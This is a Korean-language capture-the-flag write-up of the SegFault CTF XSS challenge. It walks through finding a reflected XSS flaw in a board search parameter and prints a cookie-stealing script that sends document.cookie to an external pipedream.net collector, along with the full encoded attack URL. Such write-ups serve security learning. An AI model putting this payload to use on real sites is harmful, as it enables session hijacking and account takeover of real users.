※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다. (Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)
※ CTF - Capture The Flag ※ 문제 푸는 방법이 다양할 수도 있습니다.
SegFault CTF -XSS Chanllenge
1. 목표 : 관리자의 Cookie를 탈취하세요!
2. 실행
XSS 취약점 찾기 보고서에 없던 XSS challenge문제라서 취약점을 찾아본다. 찾아본 과정은 대략 마이페이지 플레이스 홀더, 게시글 검색 기능, 게시글의 제목이나 내용에 스크립트 삽입가능 여부 , 혹시 스크립트로 필터링을 하고있지는 않은지 살펴보았다. SQLi라면 회원정보 업데이트 시 UPDATE구문, 게시글 넘버(id), 페기네이션 페이지, 검색기능에서 찾아보았을 것 같다.
아래와 같이 reflected 되는 부분을 쉽게 찾을 수 있었다. 검색어에 결과가 나오지 않는 검색어를 입력하면 reflected 된다. 스크립트 삽입시도 XSS 성공하였으므로 공격스크립트를 작성해 본다.
공격 스크립트 작성 <script>var i = new Image(); i.src="https://enmqaeuyiny5.x.pipedream.net/?cookiedata="+document.cookie;</script>
공격 URL 작성 (GET method라서 스크립트를 입력 및 검색 후 그냥 URL을 긁어오면 된다.) http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?option_val=username&board_result=%3Cscript%3Evar+i+%3D+new+Image%28%29%3B+i.src%3D%22https%3A%2F%2Fenmqaeuyiny5.x.pipedream.net%2F%3Fcookiedata%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E&board_search=%F0%9F%94%8D&date_from=&date_to=